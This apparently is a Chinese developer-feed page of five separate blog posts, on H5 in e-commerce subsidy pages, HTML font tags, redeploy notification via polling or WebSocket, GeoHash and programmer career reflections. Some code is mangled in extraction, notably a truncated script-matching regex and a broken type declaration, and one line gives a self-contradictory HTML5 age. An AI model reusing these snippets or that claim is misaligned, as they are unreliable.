23 年 11 月末,拼多多市值超过了阿里。我想写一篇文章《百亿补贴为什么用 H5》,没有动笔;24 年新年,我想写一篇《新的一年,H5 会如何发展》,也没有动笔。


眼看着灵感就要烂在手里,我决定把两篇文章合为一篇,与大家分享。当然,这些分析预测只是个人观点,如果你有不同的意见,欢迎在评论区讨论交流。


拳打 H5,脚踢小程序。我是「小霖家的混江龙」,关注我,带你了解更多实用的 H5、小程序武学。


百亿补贴为什么用 H5


我们首先看一张控制台的图,可以确认,拼多多的「百亿补贴」技术栈是 H5,大概率是 React 写的 H5。


pdd-console.png


不只是拼多多,我特地确认了,京东、淘宝的的「百亿补贴」技术栈也是 H5 (点击它们右上角三个点,拷贝分享链接,然后用浏览器打开)。


pdd-jd-taobao.png


那么,为什么电商巨头会在「百亿补贴」这种重要活动上选择 H5 呢?用 H5 有什么好处呢?


H5 技术已经成熟


第一个原因,也是最基础的原因,就是 H5 技术已经成熟,能够完整地实现功能。具体来说:


浏览器兼容性不断提高


自 2008 年 HTML5 草案发布以来,截止 2014 年,HTML5 已有 18 年历史。18 年间,主流浏览器对 HTML5、CSS3 和 JavaScript 的标准语法兼容性一直持续改进,22 年微软更是亲手盖上了 IE 棺材板。虽然 Safari(iOS 浏览器)的兼容性仍然备受诟病,但总体来说兼容成本已经变得可以接受。


主流框架已经成熟


前端最主流的两大框架 Vue 和 React 已经成熟。它们的成熟体现在多个方面:



  • 从时间的角度看,截止 2024 年,React 已经发布了 11 年,而 Vue 已经发布了 10 年。经过多年的发展,前端开发者已经非常熟悉 React 和 Vue,能熟练地应用它们进行开发。

  • 从语法的角度看,自 React16.8 发布 Hooks,以及 Vue3 发布 Composition API 以来,两大框架语法基本稳定,不再有大的变化。前端开发者可以更加专注于业务逻辑,无需过多担心框架语法的变动。

  • 从未来发展方向看,React 目前致力于推广 React Server Component 1;Vue 则在尝试着无 VDom 的 Vapor 方向,并计划利用 Rust 重写 Vite 2。这表明旧领域不再有大的颠覆,两大框架已经正寻求新的发展领域。


混合开发已经成熟


混合开发是指将原生开发(Android 和 iOS)和 Web 开发结合起来的一种技术。简而言之,它将 H5 嵌入到移动应用内部运行。近些年,业界对混合开发的优势和缺陷已经有清晰的认识,并针对其缺陷进行了相应的优化。具体来说:



  • 混合开发的优势包括开发速度快、一套代码适配 Android 和 iOS,以及实现代码的热更新。这意味着程序员能更快地编写跨平台应用,及时更新应用、修复缺陷;

  • 混合开发的缺陷则是性能较差、加载受限于网络。针对这个缺陷,各大 App、以及云服务商如阿里云 3 和腾讯云 4 都推出了自己的离线包方案。离线包方案可以将网页的静态资源(如 HTML、CSS、JS、图片等)缓存到本地,用户访问 H5 页面时,可以直接读取本地的离线资源,从而提升页面的加载速度。可以说,接入离线包后,H5 不再有致命缺陷。


前端基建工具已经成熟


近些年来,业界最火的技术话题之一,就是用 Rust 替代前端基建,包括:用 Rust 替代 Webpack 的 Rspack;用 Rust 替代 Babel 的 SWC;用 Rust 替代 Eslint 的 OxcLint 等等。


前端开发者对基建工具抱怨,已经从「这工具能不能用」,转变为「这工具好不好用」。这种「甜蜜的烦恼」,只有基建工具成熟后才会出现。


综上所述,浏览器的兼容性提升、主流框架的成熟、混合开发的发展和前端基建工具的完善,使 H5 完全有能力承载「百亿补贴」业务。


H5 开发成本低


前文我们已经了解到,成熟的技术让 H5 可以实现「百亿补贴」的功能。现在我们介绍另一个原因——H5 开发成本低。


「百亿补贴」需要多个 H5


「百亿补贴」的方式,是一个常住的 H5,搭配上多个流动的 H5。(「常住」和「流动」是我借鉴「常住人口」和「流动人口」造的词)



  • 常住 H5 链接保持不变。站外投放的链接基本都是常住 H5 的,站内首页入口链接也是常住 H5 的,这样方便用户二次访问。

  • 流动 H5 链接位于常住 H5 的不同位置,比如头图、侧边栏等。时间不同、用户不同、算法不同,流动 H5 的链接都会不同,流动 H5 可以区分用户,方便分发流量。


    具体来看,拼多多至少有三个流量的分发点,第一个是可点击的头图,第二个是列表上方的活动模块,第三个是右侧浮动的侧边栏,三者可以投放不同的链接。最近就分别投放 3.8 女神节链接、新人链接和品牌链接:



pdd-activity.png


「百亿补贴」需要及时更新


不难想到,每到一个节日、每换一个品牌,「百亿补贴」就需要更新一次。


有时还需要为一些品牌定制化 H5 代码。如果使用其他技术栈,排期跟进通常会比较困难,但是使用 H5 就能够快速迭代并上线。


H5 投放成本低


我们已经「百亿补贴」使用 H5 技术栈的两个原因,现在来看第三个原因——H5 适合投放。


拼多多的崛起过程中,投放到其他 App 的链接功不可没。早期它通过微信等社交平台「砍一刀」的模式,低成本地吸引了大量用户。如今,它通过投放「百亿补贴」策略留住用户。


H5 的独特之处,在于它能够灵活地在多个平台上进行投放,其他技术栈很难有这样的灵活性。即使是今天,抖音、Bilibili 和小红书等其他 App 中,「百亿补贴」的 H5 链接也随处可见。


pdd-advertisement.png


拼多多更是将 H5 这种灵活性发挥到极致,只要你有「百亿补贴」的链接,你甚至可以在微信、飞书、支付宝等地方直接查看「百亿补贴」 H5 页面。


wechat-flybook-alipay.png


综上所述,能开发、能快速开发、且开发完成后能大量投放,是「百亿补贴」青睐 H5 的原因。


H5 未来会如何发展


了解「百亿补贴」选择 H5 的原因后,我们来看看电商巨头对 H5 未来发展的影响。我认为有三个影响:


H5 数量膨胀,定制化要求苛刻


C 端用户黏性相对较低,换一个 App 的成本微不足道。近年 C 端市场增长缓慢,企业重点从获取更多的新客变成留住更多的老客,很难容忍用户丢失。因此其他企业投放活动 H5 时,企业必须也投放活动 H5,电商活动 H5 就变得越来越多。


这个膨胀的趋势不仅仅存在于互联网巨头的 App 中,中小型应用也不例外,甚至像 12306、中国移动、招商银行这种工具性极强的应用也无法幸免。


12306-yidong-zhaoshang.png


随着市场的竞争加剧,定制化要求也变得越来越苛刻,目的是让消费者区分各种活动。用互联网黑话来说,就是「建立用户心智」。在可预见的未来,尽管电商活动 H5 结构基本相同,但是它们的外观将变得千差万别、极具个性。


fluid.png


SSR 比例增加,CSR 占据主流


在各家 H5 数量膨胀、竞争激烈的情况下,一定会有企业为提升 H5 的秒开率接入 SSR,因此 SSR 的比例会增加。


但我认为 CSR 依然会是主流,主要是因为两个原因:



  1. SSR 需要额外的服务器费用,包括服务器的维护、扩容等。这对于中小型公司来说是一个负担。

  2. SSR 对程序员技术水平要求比 CSR 更高。SSR 需要程序员考虑更多的问题,例如内存泄露。使用 CSR 在用户设备上发生内存泄露,影响有限;但是如果在服务器上发生内存泄露,则是会占用公司的服务器内存,增加额外的成本和风险。


因此,收益丰厚、技术雄厚的公司才愿意使用 SSR。


Monorepo 比例会上升,类 Shadcn UI 组件库也许会兴起


如前所述,H5 的数量膨胀,代码复用就会被着重关注。我猜测更多企业会选择 Monorepo 管理方式。所谓 Monorepo,简单来说,就是将原本应该放到多个仓库的代码放入一个仓库,让它们共享相同的版本控制。这样可以降低代码复用成本。


定制化要求苛刻,我猜测社区中类似 Shadcn UI 的 H5 组件库或许会兴起。现有的 H5 组件库样式太单一,即使是 Shadcn UI,也很难满足国内 H5 的定制化需求。然而,Shadcn UI 的基本思路——「把源码下载到项目」,是解决定制化组件难复用的问题的好思路。因此,我认为类似 Shadcn 的 H5 组件库可能会逐渐兴起。


总结


本文介绍了我认为「百亿补贴」会选用 H5 的三大原因:



  • H5 技术已经成熟

  • H5 开发成本低

  • H5 投放成本低


以及电商巨头对 H5 产生的三个影响:



  • 数量膨胀,定制化要求苛刻

  • SSR 比例增加,CSR 占据主流

  • Monorepo 比例增加,类 Shadcn UI 组件库也许会兴起


总而言之,H5 开发会越来越专业,对程序员要求会越来越高。至于这种情况是好是坏,仁者见仁智者见智,欢迎大家在评论区沟通交流。


拳打 H5,脚踢小程序。我是「小霖家的混江龙」,关注我,带你了解更多实用的 H5、小程序武学。


Footnotes




作者:小霖家的混江龙
来源:juejin.cn/post/7344325496983732250
收起阅读 »

HTML常用字体标签:揭秘HTML字体标签,让你的网页“字”得其乐!

在数字世界的构建中,字体不仅仅是文字的外衣,更是情感和风格的传递者。作为网页设计师和前端开发者,掌握HTML中的字体标签,能够让我们创造出更加丰富和吸引人的用户体验。今天,就让我们一起走进HTML字体标签的世界,探索它们如何让网页变得生动有趣。一、认识基本字体...
继续阅读 »

在数字世界的构建中,字体不仅仅是文字的外衣,更是情感和风格的传递者。作为网页设计师和前端开发者,掌握HTML中的字体标签,能够让我们创造出更加丰富和吸引人的用户体验。

今天,就让我们一起走进HTML字体标签的世界,探索它们如何让网页变得生动有趣。

一、认识基本字体标签

语法结构:<标签 属性=“值”> 内容 </标签>

  • 标签通常是成对出现的,分为开始标签(p)和结束标签(/p),结束标签只是在开始标签前加一个斜杠“/”。
  • 标签可以有属性,属性必须有值(align=“center” )。
  • 开始标签与结束标签中包含的内容称之为区域。
  • 标签不区分大小写,p和P是相同的。

1、标题标签< h1> - < h6>

标题标签的默认样式是自动加粗的,字体一级标题最大,六级标题最小,每个标题标签独占一行。标题标签是块元素示例:

   <h1>一级</h1>
   <h2>二级</h2>
   <h3>三级</h3>
   <h4>四级</h4>
   <h5>五级</h5>
 <h6>六级</h6>

Description

2、字体标签<font>

在HTML中,最常用的字体标签非<font>莫属,虽然现代开发中更推荐使用CSS来控制字体样式,但了解它的历史仍然有其必要性。

<font>标签允许我们通过color、size和face属性来改变字体的颜色、大小和类型。

例如,如果我们想要显示红色Arial字体的文字,我们可以这样写:

<font color="red" size="5" face="Arial">这是红色Arial字体的文字</font>

这行代码的意思是:

  • 开始一个字体样式的定义。
  • color=“red” 设置字体颜色为红色。
  • size=“5” 设置字体大小为5。
  • face=“Arial” 设置字体类型为Arial。
  • 这是红色Arial字体的文字 是我们要显示的文字。
  • 结束字体样式的定义。

注意:虽然标签在HTML4.01中是有效的,但在HTML5中已经被废弃,建议使用CSS来进行样式定义。

3、字号大小:<font size="n">

字号大小在网页设计中同样重要,它直接影响着阅读体验。HTML允许我们通过<font size="n">来调整字体的大小,其中“n”可以是1到7的数字。
例如:

<!DOCTYPE html>
<html>
<head>
  <title>Font Size Example</title>
</head>
<body>
  <p><font size="5">This is a paragraph with font size 5.</font></p>
  <p><font size="10">This is a paragraph with font size 10.</font></p>
  <p><font size="15">This is a paragraph with font size 15.</font></p>
</body>
</html>

运行结果:

Description

4、粗体标签

<b>:这个标签用于将文本加粗显示,相当于英文中的bold。它不会改变字体,只是使文本看起来更粗体。

<p><b>这是加粗的文本</b></p>

<strong>:与<b>标签类似,<strong>标签也用于表示加粗的文本。

<p><strong>这是重要的文本</strong></p>

但在HTML5中,<strong>标签被赋予了语义,用来表示重要的文本内容。

5、斜体字标签

<i>:这个标签用于将文本设置为斜体,相当于英文中的italic。

<p><i>这是斜体的文本</i></p>

<em>:与<i>标签类似,<em>标签也用于表示斜体文本。

<p><em>这是强调的文本</em></p>

但在HTML5中,<em>标签被赋予了语义,用来表示强调的文本内容。

6、删除字标签

<del>:这个标签用于表示删除的文本,常用于表示不再准确或已过时的内容。比如原价与现价。

<p>原价:<del>100元</del></p>
<p>现价:80元</p>

运行之后是这样子的:

Description

在上述示例中,原价为100元,但已被删除,因此使用标签将其包围起来。这样,浏览器会显示删除线来表示该文本已被删除。

7、文本格式化标签 < div>  < span>

< div> 标签用来布局,但是一行只能放一个< div> //大盒子,块元素。

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<div>这是一个div</div>
<div>这是一个div</div>
<div><p>这是一个div</p>
</div>
<p>
<div>云端源想</div>
</p>
</body>
</html>

<div>标签可以看出是一个盒子容器,这里面可以放别的标签。<div>标签是一个块元素。

Description

如上图控制台所示(打开控制台的方式:F12):<div>标签里面可以包含<p>标签,<p>标签里面不可以放<div>标签。

< span> 标签用来布局,一行上可以多个 < span>//小盒子,行元素。

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<span>1234</span>
<span>5678</span>
</body>
</html>
  • 用于对文档中的行内元素进行组合。
  • 标签没有固定的格式表现。当对它应用样式时,它才会产生视觉上的变化。如果不对 应用样式,那么 元素中的文本与其他文本不会任何视觉上的差异。
  • 标签提供了一种将文本的一部分或者文档的一部分独立出来的方式。
  • 标签不同于

    标签是一个行内元素(不独占一行)。

8、其它字体标签

  • <mark>:这个标签用于突出显示文本,通常用于表示高亮的部分。
  • <small>:这个标签用于表示小号文本,通常用于表示版权声明或法律条款等次要信息。
  • <ins>:这个标签用于表示插入的文本,常用于表示新增的内容。
  • <sub> 和 <sup>:这两个标签分别用于表示下标和上标文本,常用于数学公式或化学方程式中。

二、总结与建议

尽管上述标签可以直接在HTML中使用,但现代网页设计越来越倾向于使用CSS来控制文本的样式,因为CSS提供了更多灵活性和控制能力。
Description
使用CSS类和样式规则可以更有效地管理网站的整体样式,并且可以更容易地适应不同设备和屏幕尺寸。

因此,如果您正在学习或更新您的网页设计知识,建议学习和使用CSS来控制字体和其他文本样式,关于HTML的这些标签了解一下就可以了。

想要快速入门前端开发吗?推荐一个前端开发基础课程,这个老师讲的特别好,零基础学习无压力,知识点结合代码,边学边练,可以免费试看试学,还有各种辅助工具和资料,非常适合新手!

点这里前往学习哦!

总之,字体是网页设计中不可或缺的元素,它们就像是网页的语言,传递着信息和情感。通过HTML字体标签的学习和应用,我们可以让我们的网页“字”得其乐,让每一位访问者都能享受到更加美妙的网络体验。不断探索和实践,让我们的网页在字体的世界里绽放光彩吧!

收起阅读 »

前端重新部署如何通知用户

web
1. 场景前端构建完上线,用户还停留还在老页面,用户不知道网页重新部署了,跳转页面的时候有时候js连接hash变了导致报错跳不过去,并且用户体验不到新功能。2. 解决方案每次打包写入一个json文件,或者对比生成的script的src引入的hash地址或者et...
继续阅读 »

1. 场景

前端构建完上线,用户还停留还在老页面,用户不知道网页重新部署了,跳转页面的时候有时候js连接hash变了导致报错跳不过去,并且用户体验不到新功能。

2. 解决方案

  1. 每次打包写入一个json文件,或者对比生成的script的src引入的hash地址或者etag不同,轮询调用,判断是否更新
  2. 前端使用websocket长连接,具体是每次构建,打包后通知后端,更新后通过websocket通知前端

轮询调用可以改成在前置路由守卫中调用,无需控制时间,用户有操作才去调用判断。

3. 具体实现

3.1 轮询方式

参考小满的实现稍微修改下:

class Monitor {
private oldScript: string[] = []

private newScript: string[] = []

private oldEtag: string | null = null

private newEtag: string | null = null

dispatch: Record() => void)[]> = {}

private stop = false

constructor() {
this.init()
}

async init() {
console.log('初始化')
const html: string = await this.getHtml()
this.oldScript = this.parserScript(html)
this.oldEtag = await this.getEtag()
}
// 获取html
async getHtml() {
const html = await fetch('/').then((res) => res.text())
return html
}
// 获取etag是否变化
async getEtag() {
const res = await fetch('/')
return res.headers.get('etag')
}
// 解析script标签
parserScript(html: string) {
const reg = /]*)?>(.*?)<\/script\s*>/gi
return html.match(reg) as string[]
}
// 订阅
on(key: 'update', fn: () => void) {
;(this.dispatch[key] || (this.dispatch[key] = [])).push(fn)
return this
}
// 停止
pause() {
this.stop = !this.stop
}

get value() {
return {
oldEtag: this.oldEtag,
newEtag: this.newEtag,
oldScript: this.oldScript,
newScript: this.newScript,
}
}
// 两层对比有任一个变化即可
compare() {
if (this.stop) return
const oldLen = this.oldScript.length
const newLen = Array.from(
new Set(this.oldScript.concat(this.newScript))
).length
if (this.oldEtag !== this.newEtag || newLen !== oldLen) {
this.dispatch.update.forEach((fn) => {
fn()
})
}
}
// 检查更新
async check() {
const newHtml = await this.getHtml()
this.newScript = this.parserScript(newHtml)
this.newEtag = await this.getEtag()
this.compare()
}
}

export const monitor = new Monitor()

// 路由前置守卫中调用
import { monitor } from './monitor'

monitor.on('update', () => {
console.log('更新数据', monitor.value)
Modal.confirm({
title: '更新提示',
icon: createVNode(ExclamationCircleOutlined),
content: '版本有更新,是否刷新页面!',
okText: '刷新',
cancelText: '不刷新',
onOk() {
// 更新操作
location.reload()
},
onCancel() {
monitor.pause()
},
})
})

router.beforeEach((to, from, next) => {
monitor.check()
})

3.2 websocket方式

既然后端不好沟通,那就自己实现一个完整版。

具体流程如下:

image.png

3.2.1 代码实现

服务端使用koa实现:

// 引入依赖 koa koa-router koa-websocket short-uuid koa2-cors
const Koa = require('koa')
const Router = require('koa-router')
const websockify = require('koa-websocket')
const short = require('short-uuid')
const cors = require('koa2-cors')

const app = new Koa()
// 使用koa2-cors中间件解决跨域
app.use(cors())

const router = new Router()

// 使用 koa-websocket 将应用程序升级为 WebSocket 应用程序
const appWebSocket = websockify(app)

// 存储所有连接的客户端进行去重处理
const clients = new Set()

// 处理 WebSocket 连接
appWebSocket.ws.use((ctx, next) => {
// 存储新连接的客户端
clients.add(ctx.websocket)
// 处理连接关闭事件
ctx.websocket.on('close', () => {
clients.delete(ctx.websocket)
})
ctx.websocket.on('message', (data) => {
ctx.websocket.send(666)//JSON.stringify(data)
})
ctx.websocket.on('error', (err) => {
clients.delete(ctx.websocket)
})

return next(ctx)
})

// 处理外部通知页面更新的接口
router.get('/api/webhook1', (ctx) => {
// 向所有连接的客户端发送消息,使用uuid确保不重复
clients.forEach((client) => {
client.send(short.generate())
})
ctx.body = 'Message pushed successfully!'
})

// 将路由注册到应用程序
appWebSocket.use(router.routes()).use(router.allowedMethods())

// 启动服务器
appWebSocket.listen(3000, () => {
console.log('Server started on port 3000')
})

前端页面代码:

websocket使用vueuse封装的,保持个心跳。

import { useWebSocket } from '@vueuse/core'

const { open, data } = useWebSocket('ws://hzsunrise.top/ws', {
heartbeat: {
message: 'ping',
interval: 5000,
pongTimeout: 10000,
},
immediate: true, // 自动连接
autoReconnect: {
retries: 6,
delay: 3000,
},
})


watch(data, (val) => {
if (val.length !== '3HkcPQUEdTpV6z735wxTum'.length) return
Modal.confirm({
title: '更新提示',
icon: createVNode(ExclamationCircleOutlined),
content: '版本有更新,是否刷新页面!',
okText: '刷新',
cancelText: '不刷新',
onOk() {
// 更新操作
location.reload()
},
onCancel() {},
})
})

// 建立连接
onMounted(() => {
open()
})
// 断开链接
onUnmounted(() => {
close()
})

3.2.2 发布部署

后端部署:

考虑服务器上没有安装node环境,直接使用docker进行部署,使用pm2运行node程序。

  1. 写一个DockerFile,发布镜像
// Dockerfile:

# 使用
Node.js 作为基础镜像
FROM node:14-alpine

# 设置工作目录

WORKDIR /app

# 复制 package.
json 和 package-lock.json 到容器中
COPY package.json ./

# 安装项目依赖

RUN npm install
RUN npm install -g pm2

# 复制所有源代码到容器中

COPY . .

# 暴露端口号

EXPOSE 3000

# 启动应用程序

CMD ["pm2-runtime","app.js"]

本地进行打包镜像发送到docker hub,使用docker build -t f5l5y5/websocket-server-image:v0.0.1 .命令生成镜像文件,使用docker push f5l5y5/websocket-server-image:v0.0.1 推送到自己的远程仓库

  1. 服务器拉取镜像,运行

拉取镜像:docker pull f5l5y5/websocket-server-image:v0.0.1

运行镜像: docker run -d -p 3000:3000 --name websocket-server f5l5y5/websocket-server-image:v0.0.1

可进入容器内部查看:docker exec -it sh # 使用 sh 进入容器

查看容器运行情况:

image.png

进入容器内部查看程序运行情况,pm2常用命令

image.png

此时访问/api/webhook1会找到项目的对应路由下,需要配置下nginx代理转发

  1. 配置nginx接口转发
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
server {
listen 80;
server_name hzsunrise.top;
client_max_body_size 50M;

location / {
root /usr/local/openresty/nginx/html/xxx-admin;
try_files $uri $uri/ /index.html;
}
// 将触发的更新代理到容器的3000
location /api/webhook1 {
proxy_pass http://localhost:3000/api/webhook1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
// websocket 配置
location /ws {
# 反向代理到容器中的WebSocket接口
proxy_pass http://localhost:3000;
# 支持WebSocket协议
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "Upgrade";
}
}

3.2.3 测试

url请求api/webhook即可

image.png

4. 总结

主要实践下两种方案:

  1. 轮询调用方案:轮询获取网页引入的脚本文件的hash值或者etag来实现。这种方案的优点是实现简单,但存在性能消耗和延迟较高的问题。
  2. WebSocket版本方案:在前端部署的同时建立一个WebSocket连接,将后端构建部署完成的通知发送给前端。当后端完成部署后,通过WebSocket向前端发送消息,提示用户刷新页面以加载最新版本。这种方案的优点是实时性好,用户体验较好,但需要在前端和后端都进行相应的配置和代码开发。

选择合适的方案取决于具体的需求和实际情况,仅供参考O^O!

参考文章

小满-前端重新部署如何通知用户刷新网页?


作者:一诺滚雪球
来源:juejin.cn/post/7264396960558399549

收起阅读 »

GeoHash——滴滴打车如何找出方圆一千米内的乘客?

背景 不知道大家是否思考过一个问题,在一些场景下(如大家在使用高德地图打车的时候,邻近的司机是如何知道你在他的附近并将你的打车通知推送给他去接单的?)是如何实现的? 一般来讲,大家也许会想到,首先肯定需要知道每位乘客的经纬度(lng,lat),也即是二维坐标(...
继续阅读 »

背景


不知道大家是否思考过一个问题,在一些场景下(如大家在使用高德地图打车的时候,邻近的司机是如何知道你在他的附近并将你的打车通知推送给他去接单的?)是如何实现的?


一般来讲,大家也许会想到,首先肯定需要知道每位乘客的经纬度(lng,lat),也即是二维坐标(当然这是在绝对理想的情况,不考虑上下坡度)。


而在知道了经纬度之后,一个暴力简单且容易想到的思路就是将经纬度这个二元组都存放在一个数组当中,然后当我们需要拿到离我们规定范围内的用户(如获取当前位置方圆百米内正在打车的乘客),我们就可以去遍历维护的那个数组,以此去判断数组中的经纬度与自己所在经纬度的距离,然后判断是否在范围内。


显然这种方法一定是能够达到目的的,但是值得注意的点是,维护的数据量一般来讲是海量的,因此如果每次都需要遍历所有数据去进行计算,那这计算量以及存储量目前是无法满足的。那如何在此基础上去优化性能呢??那么这个内容就是本篇文章主要想探讨的问题......




GeoHash基本原理介绍


首先我想先介绍一下GeoHash这种算法基本原理,再讨论如何进行应用。


对于每一个坐标都有它的经纬度(lng,lat),而GeoHash的原理就是将经纬度先通过一个二分的思路拿到一个二进制数组的字符串,然后再通过base32编码去进行压缩存储。


举一个例子,比如经纬度为(116.3111126,40.085003),对其进行二分步骤如下:


经度步骤:


bitleftmidright
1-1800180
1090180
090135180
190112.5135
0112.5123.75135
0112.5118.125123.75
1112.5115.3125118.125
0115.3125116.71875118.125
1115.3125116.015625116.71875
0116.015625116.3671875116.71875
1116.015625116.19140625116.3671875
1116.19140625116.279296875116.3671875
0116.279296875116.323242188116.3671875
1116.279296875116.301269532116.323242188
0116.301269532116.31225586116.323242188

纬度步骤:


bitleftmidright
1-90090
004590
1022.545
122.533.7545
133.7539.37545
039.37542.187645
039.37540.7812542.1876
139.37540.07812540.78125
040.07812540.429687540.78125
040.07812540.2539062540.4296875
040.07812540.16601562540.25390625
040.07812540.122070312540.166015625
040.07812540.100097656340.1220703125
040.07812540.089111328240.1000976563
140.07812540.083618164140.0891113282

其思路就是不断二分,如果原本值大于mid那本bit位就是1,以此往下递归,最终,我们递归二分得到纬度方向上的二进制字符串为 101110010000001,长度为 15 位


那此时就拿到了30bit位的字符串,然后就开始进行拼接


结合经度字符串 110100101011010 和纬度字符串 101110010000001,我们遵循先经度后纬度的顺序,逐一交错排列,最终得到的一维字符串为 11100 11101 00100 11000 10100 01001.


然后再进行Base32编码,主要步骤就是首先会维护一个0-9A-Za-z中32个字符的数组,如:['a','b','1','2','3','4','5','6','7','A'...],然后再将这30位的字符串每五个一组(正好覆盖0-31的索引)去索引到指定字符以此拿到30/5=6位的base32编码去进行存储。


ps:注意并不一定是必要将经纬度都二分得到15位长度,多少位都可以,只是精度越高结果也就越精确,但是算力就越大,只需在此做出权衡即可




GeoHash如何应用到这个问题当中?


上面讲到了可以通过GeoHash将经纬度转换成bit位的字符串,那么怎么进行应用呢,其实答案很明显,其实如果经纬度越接近,他们的前缀匹配位数也就越长,比如


image.png
通过这个思路我们就比较容易得到我们想要的范围内的乘客了。


遗留问题


但是其实仅仅如此是不够的,因为一个base32其实是覆盖了一片区域的,它并不是说仅仅代表一个精确的ip地址,那这其实就衍生出了一些问题,就比如


image.png
,用geohash那结果显然是AB更近,但是实际上A与B的距离比AE、AC、AD都远。这其实是一个边缘性的问题........后续我会更新如何去避免这种问题的出现


作者:狗不理小包
来源:juejin.cn/post/7270916734138908672
收起阅读 »

当了程序员之后?(真心话)

有什么事是你当了程序员之后才知道的? 地铁上刷到一个话题,觉得挺有意思的,如下。 看到很多朋友在下面吐槽,有说加班是真的多,有说找对象是真的难,有说程序员爱穿格子衫是假爱背电脑是真的等等,大家吐槽得都挺欢乐的。 老猫也开始复盘这些年的经历,更多想聊的可能还...
继续阅读 »

有什么事是你当了程序员之后才知道的?

地铁上刷到一个话题,觉得挺有意思的,如下。


1709213979295.png


看到很多朋友在下面吐槽,有说加班是真的多,有说找对象是真的难,有说程序员爱穿格子衫是假爱背电脑是真的等等,大家吐槽得都挺欢乐的。


1709824704115.png


老猫也开始复盘这些年的经历,更多想聊的可能还是一个后端程序员的真实感悟。


入行


俗话说“男怕入错行,女怕嫁错郎。”相信很多朋友在进入一个行业之前都是深思熟虑的,亦或者是咨询过一些人,亦或者是查阅了挺多资料。然而老猫入行则相当奇葩,不是蓄谋已久,而是心血来潮。


一切都得从一部电视剧开始,不晓得大家有没有看过这部电视剧,佟丽娅主演的“我的经济适用男”。


1709215705556.png


12年的一部电视剧,挺老了,主要女主放弃富二代的追求和"成熟稳重老实巴交的IT男"好上了的桥段。当时心智单纯的老猫可谓看的是热血沸腾啊。一拍桌子,“发可油,劳资今后就要当那个男主,这结局多好啊,抱得美人归啊这是,我要学IT!”。当时老猫的专业是电子信息类的专业,后来基本就放弃了本专业,大学基本逃课就跑去学软件去了。


就这么上了贼船,一晃十年过去了。多年前,躲在实验室里,开发了一个简单的坦克大战的游戏,感觉自己是最牛逼的,子弹爱怎么飞怎么飞,坦克能开多块就开多快,那时候觉得自己就是这个IT世界的主角,“control evety thing”。在这样一个程序的世界里,所有的事儿都是自己说了算。


踏上社会后,遭遇社会惨无人道地毒打之后,发现要做的就是提升造火箭吹牛逼的能力,工作中是个crud-boy。键盘上磨损最严重的那几个键是“ctrl”,“c”,“v”,“x”。当年那个意气风发的少年已经不复存在,我是一个弱鸡螺丝钉。


1709217726156.png


工作十年


大部分后端程序员也主要是围绕着业务在转,所以crud可能占了大部分时间。


话虽如此,但还是有点除此以外的收获,这些收获甚至潜移默化地影响着我的生活。


技术日新月异,今天这个框架,明天那个架构,今天这种实现牛逼,明天那种部署更6等等,到头来发现自己一直都是在追着技术跑。也确实如果不奔跑的话,可能就会被淘汰。作为程序员来说适应变化也是程序员的一种品质,但是老猫觉得具备下面这些可能会更加重要一些,这些可能也是唯一不变的。


抽象思维很重要


第一次听到“架构师”这个职位的时候,觉得那一定是一个需要超强技术能力的人才能胜任的岗位。


后来才发现原来架构师也分种类,“业务架构”,“技术架构”等等。再后来发现无论哪种架构,其实他们身上会有一种共同的东西,那就是优秀的抽象思维。


啥是抽象思维?百度百科上是这么说的:


抽象思维,又称词的思维或者逻辑思维,是指用词进行判断、推理并得出结论的过程。
抽象思维以词为中介来反映现实。这是思维的最本质特征,也是人的思维和动物心理的根本区别。

说的比较官方,甚至有点不好懂。


大家以前上语文课的时候,有没有做过阅读理解,老师在讲课的时候常常我们概述一下这段文字到底讲了什么东西,越精简越好,可能要求20个字以内。其实这个过程就是在锻炼咱们的抽象思维能力以及概括能力。


在软件后端领域,当业务传达某一个需求的时候,往往需要产品去提炼一道,那么此时就是产品抽象,继而产品又将需求传达给相关的研发负责人,研发负责人设计出相关的实现模型,那么这又是技术抽象,这些抽象的过程就是将复杂的业务流程和逻辑转化为可管理和可重用的组件的过程。它的目的是简化系统的实现,聚焦于应用程序的核心功能,同时隐藏不必要的细节。抽象后设计出各种基础能力,通过对基础能力的组合和拼接,支持复杂多变的业务逻辑和业务形态。


gw1.png


具备抽象思维,能够让我们从复杂的业务中迅速切入业务关键点。在生活中可能表现在透过现象看到本质,或者碰到问题能够快速给出有效解决方案或思路。例如老猫上次遇到的“真-丢包事件”。


分层思维很重要


说到分层思维,应该准确地来说是建立在能够清晰的抽象出事务本质的基础上,而后再去做分层。


很多地方都会存在分层思想。生活中就有,大家双休日没事的时候估计会逛商场,商城的模式一般就是底层停车场,一层超市,二层卖服装的,三层儿童乐园,卖玩具的,四层吃饭看电影娱乐的等等。


再去聊到技术上的分层思想,例如OSI七层模型,大家在面试的时候甚至都碰到过。


gw2.png


抛开这些,其实我们对自己当前负责的一些业务,一些系统也需要去做一些分层划分,这些分层可以让我们更好地看清业务系统之间的关系。例如老猫之前梳理的一张图。


gw3.png


通过这样的分层梳理,我们可能更好地理解当前的系统组成以及层级关系。(备注一下,老猫这里画图工具用的还是wps绘制的)。


结构化思维很重要


结构化思维又是咋回事儿?
不着急,打个比方,咱们看下面一组数据:
213421790346567560889
现在有个要求,咱们需要记下这些数字,以及出现的次数。短时间内想要记住可能比较困难
如果我们把这些数字的内容调整下,变成下面这样:
00112233445566778899
是不是清晰了很多?


所谓的结构化思维,就是从无序到有序的一种思考过程,将搜集到的信息、数据、知识等素材按一定的逻辑进行分析、整理,呈现出有序的结构,继而化繁为简。有结构的信息更适合大脑记忆和理解。


人类大脑在处理信息的时候,有两个特点:


第一,不能一次太多,太多信息会让我们的大脑觉得负荷过大;乔治·米勒在他的论文《奇妙的数字7±2》中提出,人类大脑短期记忆无法一次容纳7个以上的记忆项目,比较容易记住的是3个项目,当然最容易的是1个。


第二,喜欢有规律的信息。有规律的信息能减少复杂度,Mitchell Waldrop在《复杂》一书中,提出一种用信息熵来进行复杂性度量的方法,所谓信息熵就是一条信息包含信息量的大小。举个例子,假设一条消息由符号A、C、G和T组成。如果序列高度有序,很容易描述,例如“A A A A A A A … A”,则熵为零。而完全随机的序列则有最大熵值。


ccfc037aa9b4e852ef2a16f8e58c4a86.png


